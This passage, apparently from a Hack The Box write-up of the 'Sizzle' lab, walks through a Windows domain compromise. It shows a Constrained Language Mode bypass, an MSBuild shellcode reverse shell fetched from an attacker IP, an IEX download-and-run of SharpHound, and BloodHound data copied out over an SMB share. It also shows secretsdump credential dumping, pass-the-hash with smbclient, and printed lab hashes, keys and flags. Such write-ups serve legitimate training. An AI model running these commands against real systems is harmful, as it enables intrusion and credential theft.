> 10. **Once you create the shellcode replace the msfvenom shellcode with the old shellcode in the payload.**
> 11. **Now upload it using IWR with your Evil-WinRM session**
> 12. `*Evil-WinRM* PS C:\Windows\Temp\recon> iwr -uri http://10.10.14.5/shellcode.xml -OutFile shellcode.csproj`
> 13. **This is going to download from your python server on port 80**
> 14. `$ sudo rlwrap -cAr nc -lnvp 443`
> 15. **Last just execute this path in Windows**
> 16. `*Evil-WinRM* PS C:\Windows\Temp\recon> C:\Windows\Microsoft.NET\Framework\4.0.30319\MSBuild.exe shellcode.csproj`
> 17. **You should have a shell as well as the way above. As stated before the prior method with** `PsBypassCLM.exe` **is easier in my opinion.**

---

1. **Run the execution context command again to see what language state you are in now. It should be Full Language Mode.**

- *#pwn_CLM_bypassing_Constrained_Language_Mode*
- *#pwn_powershell_bypassing_constrained_language_mode*
- *#pwn_windows_bypass_constrained_language_mode_in_powershell*

```
1. PS C:\Windows\Temp\recon> $ExecutionContext.SessionState.LanguageMode
.................................
FullLanguage
```

## `SMBSERVER.py` Trouble Shooting and *Net Use Command*

- *#pwn_smbserver_troubleshooting_and_NET_USE_command*
- *#pwn_Sharphound_ps1_execute_using_IEX_command*

- *#pwn_IEX_sharphound_ps1*
- *#pwn_powershell_iex_sharphound_ps1*

48. **Now we can run the *IEX downloadstring* command to run `SharpHound.ps1` with no problems.**

```
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/SharpHound.ps1')
SUCCESS
~/hackthebox/sizzle ▷ cat SharpHound.ps1 | grep -i Invoke
PS C:\> Invoke-BloodHound -CollectionMethods All
SUCCESS, created 11625 20231018130001_BloodHound.zip
Since we are not in an Evil-WinRM shell we need to create an smbserver and copy it over.
▷ sudo smbserver.py ninjafolder $(pwd) -smb2support
S4vitar got blocked trying to download the bloodhound.zip but I did not get blocke. In this case all you have to do is restart your smbserver.py with credentials. Just give it a username and password
▷ sudo smbserver.py ninjafolder $(pwd) -smb2support -username foo -password password123
Now you have to use the 'net use command' to create the smbconnection back to your attacker machine.
PS C:\Windows\Temp\recon> net use x: \\10.10.14.5\ninjafolder /user:foo password123
View contents of the directory you just created type.
PS C:\Windows\Temp\recon> dir x:\
Now copying it over is a bit different in syntax. Actually, the only thing that is different is the destination. Since, you now have a connection via x: shared directory. We specify that folder and then the file name.
PS C:\Windows\Temp\recon> copy 20231018130001_BloodHound.zip x:\bloundhound.zip

```

### *Ghostpack*-Compiled Binaries (`Rubeus.exe`). *These compiled binaries are really old and it winds up being a big fail*. I need to memorize how to compile the binary Rubeus.sln by myself.

- *#pwn_Rubeus_reliable_download*
- *#pwn_Ghostpack_compiled_binaries_for_windows*

50. **google** `ghostpack compiled binaries`

> 1. **Link** `https://github.com/r3motecontrol/Ghostpack-CompiledBinaries` **(Last Updated 2023)**
> 2. **If you can find a more reliable version of `Rubeus.exe` then download it. This is the most reliable link I have found for a working version of `Rubeus.exe` the other is 5 years old. I really don't like `Rubeus.exe` I can never get it to work.**

### The compiled binaries did not work plus every single one on the internet is more than 1 year old. I would compile it myself but I have already spent too much time on this box for today and there is a better way.

## Stored NTLM Hashes, Secretsdump, Privilege Escalation

### *A Lucky Break?* PrivEsc via Password Hunting

51. **I found a file.txt and it has hashes in it.**

```
 Through the filesystem enumeration I found a file called file.txt in C:\Windows\System32. That file had NTLM hashes for all users. lmao!
PS C:\Windows\System32> type file.txt
>>>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
>>>Administrator:500:aad3b435b51404eeaad3b435b51404ee:c718f548c75062ada93250db208d3178:::.<<< .This hash was the one that worked with smblcient
>>>mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
>>>mrb3n:1105:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
>>>amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::

```

52. **Lets try `secretsdump.py` with this cracked hash**

```
The cracked hash is mrlky:Football#7
secretsdump.py sizzle.htb.local/mrlky:Football#7@sizzle.htb.local
```

53. **We were able to dump a bunch of hashes. They might not work I don't know**

```
(.venv) ~/python_projects/.impacketgit/impacket/examples (master ✗)★ ▷ ./secretsdump.py sizzle.htb.local/mrlky:Football#7@sizzle.htb.local
.............................................................
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:8597e21bfd2c385c9ebab7e119d80742:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e562d64208c7df80b496af280603773ea7d7eeb93ef715392a8258214933275d
Administrator:aes128-cts-hmac-sha1-96:45b1a7ed336bafe1f1e0c1ab666336b3
Administrator:des-cbc-md5:ad7afb706715e964
krbtgt:aes256-cts-hmac-sha1-96:0fcb9a54f68453be5dd01fe555cace13e99def7699b85deda866a71a74e9391e
krbtgt:aes128-cts-hmac-sha1-96:668b69e6bb7f76fa1bcd3a638e93e699
krbtgt:des-cbc-md5:866db35eb9ec5173
amanda:aes256-cts-hmac-sha1-96:60ef71f6446370bab3a52634c3708ed8a0af424fdcb045f3f5fbde5ff05221eb
amanda:aes128-cts-hmac-sha1-96:48d91184cecdc906ca7a07ccbe42e061
amanda:des-cbc-md5:70ba677a4c1a2adf
mrlky:aes256-cts-hmac-sha1-96:b42493c2e8ef350d257e68cc93a155643330c6b5e46a931315c2e23984b11155
mrlky:aes128-cts-hmac-sha1-96:3daab3d6ea94d236b44083309f4f3db0
mrlky:des-cbc-md5:02f1a4da0432f7f7
sizzler:aes256-cts-hmac-sha1-96:85b437e31c055786104b514f98fdf2a520569174cbfc7ba2c895b0f05a7ec81d
sizzler:aes128-cts-hmac-sha1-96:e31015d07e48c21bbd72955641423955
sizzler:des-cbc-md5:5d51d30e68d092d9
SIZZLE$:aes256-cts-hmac-sha1-96:19b3b4ef6e40f2b2f16efa8eed0cfea141b4b8c2fbe175bd4001d7bbe2fbc90a
SIZZLE$:aes128-cts-hmac-sha1-96:e1cceee9082296f397f408d5dbc8f59a
SIZZLE$:des-cbc-md5:9708c464ef0423ab
[*] Cleaning up...
```

54. **The hash dump had hashes that were NOT Crackable so I am using the hash with smb and downloading the flags through smbclient.**

```
1. smbclient //sizzle.htb/C$ -U "Administrator" --pw-nt-hash f6b7160bfc91823792e0ac3a162c9267
2. FAIL
3. smbclient //sizzle.htb/C$ -U "Administrator" --pw-nt-hash c718f548c75062ada93250db208d3178
4. SUCCESS, the original hash found when password hunting was the one that worked to get NT AUTHORITY SYSTEM
using smbclient. lol
.........................................................
smb: \Users\mrlky\Desktop\> get user.txt
getting file \Users\mrlky\Desktop\user.txt of size 34 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \Users\mrlky\Desktop\> cd ..
smb: \Users\mrlky\> cd ..
smb: \Users\> cd Administrator
smb: \Users\Administrator\> cd Desktop
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1
KiloBytes/sec)
.............................................................
5. ᐅ cat user.txt
ffa0a2d84e5a35700624c43f993cb7c4
6. ᐅ cat root.txt
f35c9eea46e21f3c1bb00d6b4a820346
```